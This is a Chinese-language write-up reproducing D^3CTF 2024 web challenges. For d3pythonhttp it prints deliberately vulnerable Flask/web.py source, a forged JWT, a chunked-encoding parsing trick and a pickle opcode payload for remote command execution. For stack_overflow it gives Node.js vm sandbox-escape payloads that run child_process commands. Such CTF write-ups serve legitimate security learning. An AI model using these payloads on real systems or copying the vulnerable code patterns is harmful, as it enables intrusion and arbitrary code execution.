2024 D^3CTF x 凌武杯 部分题目复现

d3pythonhttp

考点

pickle反序列化
后端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import web
import pickle
import base64

urls = (
'/', 'index',
'/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())


class index:
def GET(self):
return "welcome to the backend!"

class backdoor:
def POST(self):
data = web.data()
# fix this backdoor
if b"BackdoorPasswordOnlyForAdmin" in data:
return "You are an admin!"
else:
data = base64.b64decode(data)
pickle.loads(data)
return "Done!"


if __name__ == "__main__":
app.run()

前端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from flask import Flask, request, redirect, render_template_string, make_response
import jwt
import json
import http.client

app = Flask(__name__)

login_form = """
<form method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
"""

@app.route('/', methods=['GET'])
def index():
token = request.cookies.get('token')
if token and verify_token(token):
return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
else:
return redirect("/login", code=302)

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == "POST":
user_info = {"username": request.form["username"], "isadmin": False}
key = get_key("frontend_key")
token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
resp = make_response(redirect("/", code=302))
resp.set_cookie("token", token)
return resp
else:
return render_template_string(login_form)

@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != "Host"}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
conn.request(method, path, body=data, headers=headers)
response = conn.getresponse()
return response.read()

@app.route('/admin', methods=['GET', 'POST'])
def admin():
token = request.cookies.get('token')
if token and verify_token(token):
if request.method == 'POST':
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != 'Host'}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
return "Done!"
else:
return "You are not an admin!"
else:
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
return "Welcome admin!"
else:
return "You are not an admin!"
else:
return redirect("/login", code=302)

def get_key(kid):
key = ""
dir = "/app/"
try:
with open(dir+kid, "r") as f:
key = f.read()
except:
pass
print(key)
return key

def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header["kid"]
key = get_key(kid)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
return True
except:
return False

if __name__ == "__main__":
app.run(host = "0.0.0.0", port = 8081, debug=False)

更换端口

可能会出现端口冲突,8080这里无法启动,backendweb.py这里可以通过这种方式修改端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import web
import pickle
import base64

urls = (
'/', 'index',
'/backdoor', 'backdoor'
)
web.config.debug = False

class Myapplication(web.application):
def run(self, port=8888, *middleware):
func = self.wsgifunc(*middleware)
return web.httpserver.runsimple(func, ("127.0.0.1", port))


class index:
def GET(self):
return "welcome to the backend!"

class backdoor:
def POST(self):
data = web.data()
# fix this backdoor
if b"BackdoorPasswordOnlyForAdmin" in data:
return "You are an admin!"
else:
data = base64.b64decode(data)
pickle.loads(data)
return "Done!"


if __name__ == "__main__":
app = Myapplication(urls, globals())
app.run(port=8888)

分析

verify_token这里解析token的来源是从header的kid参数中获取。
注意这里的header不是请求头,而是jwtheader部分:
image.png
我们可以通过修改这里的kid让他的key为空,来让jwtkey为空。
image.png
login中这里提到了jwt的参数:
image.png
构造jwt
image.png
这里默认是设置密钥的,需要删除别忘了。

1
eyJhbGciOiJIUzI1NiIsImtpZCI6Im5hdHJvOTIiLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNhZG1pbiI6dHJ1ZX0.yOxx2ypJFoyrLrcrmD6edb1Dfolsn5atRKn1_dwuhY0

按照要求放到cookietoken中:
image.png
这里的解析要跟他一样:
image.png
这里的data就是postdata,注意这里data覆盖了。
这里经过调试,就可以直接进到backend。但是这里我们可以发现,这两部分是矛盾的:
image.png
image.png
flask要求我们有,但是webpy不让有,这里可以通过传入包的:

这里对Chunked字段存在解析差异,Flask部分要求可以大写小写都可以,但是webpy这里只能用小写的。
image.png
image.png
这时使用Transfer-Encoding: chunKEDflask会进入chunked模式,但是webpy不会。

什么是Transfer-Encoding: chunked

Transfer-Encoding: chunked 是一种 HTTP/1.1 协议中定义的数据传输机制。在这种模式下,数据被分割成多个块(chunk),每个块独立发送。这种方式的优点是发送方可以开始发送数据,而不必知道数据的总长度。
每个块由两部分组成:块大小和块数据。块大小是一个十六进制的数字,表示接下来的块数据的字节数。块数据就是实际的数据内容。每个块大小和块数据之间用 CRLF (\r\n) 分隔。 当所有数据发送完毕后,发送方会发送一个大小为 0 的块,表示数据已经全部发送完毕。
这是一个 Transfer-Encoding: chunked 的例子:

1
2
3
4
5
6
7
8
4\r\n
Wiki\r\n
5\r\n
pedia\r\n
E\r\n
in\r\n\r\nchunks.\r\n
0\r\n
\r\n

所以到了后端,这里就是根据Content-Length截取到的数据,这里需要关闭掉Content-Length自动长度。
编写opcode

1
2
3
4
5
6
7
8
9
import base64
import pickletools

poc=b'''cbuiltins
exec
(S'index.GET=lambda self:__import__("os").popen(web.input()['cmd']).read()'
tR. '''
print(pickletools.dis(poc))
print(base64.b64encode(poc))
1
Y2J1aWx0aW5zCmV4ZWMKKFMnaW5kZXguR0VUPWxhbWJkYSBzZWxmOl9faW1wb3J0X18oIm9zIikucG9wZW4od2ViLmlucHV0KClbJ2NtZCddKS5yZWFkKCknCnRSLiAg

构造包:
image.png
然后rce:
image.png
当然,也可以把那个BackdoorPasswordOnlyForAdmin放到前面那个chunk里面:
image.png
也就是这样也可以。这种打法就需要把base64出的等号删掉,否则会被解析成键值对。

stack_overflow

image.png
这里模拟了一个栈操作
image.png
args.push(stack.pop())从栈顶去除元素并添加到args中,cmd += "('" + args.join("','") + "')"将args数组中的元素连接成一个字符串,并添加到cmd字符串的末尾。然后在vm.runInNewContext(cmd)中执行,再将结果转为字符串推入栈中。
在”push”的情况下,代码从栈中弹出一个元素作为要推入栈的元素的数量,然后从栈中弹出另一个元素作为元素的地址。然后,它在循环中使用getStack函数获取元素,并将其推入栈中。
这里的runInNewContext是可以vm沙箱逃逸的。

详解Nodejs中命令执行原型链污染等漏洞-腾讯云开发者社区-腾讯云

对着:cmd += "('" + args.join("','") + "')"直接构造payload即可,注意后面需要将')闭合掉:

1
');this.constructor.constructor('return  process.mainModule.require(\\'child_process\\').execSync(\\'cat  /flag\\').toString();')();//

那么如何上传:
image.png
这里可以传入数组。而且如果args数组的长度为1则不受join影响:
image.png
poc:

1
{"stdin":["');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //"]}

image.png

moonbox

正常打法使用Hessian反序列化,但是这里因为还没学,所以就先不写了。哪天抓个大空再搞。
有个非预期是用了流量回放,这里复现的靶场掉了没法搞了,看B神的博客吧:

2024 凌武杯 x D^3CTF Web Writeup - Boogiepop Doesn’t Laugh

image.png

参考

“凌武杯” D^3CTF 2024 官方 WriteUp
2024 凌武杯 x D^3CTF Web Writeup - Boogiepop Doesn’t Laugh
D3CTF 2024 Writeup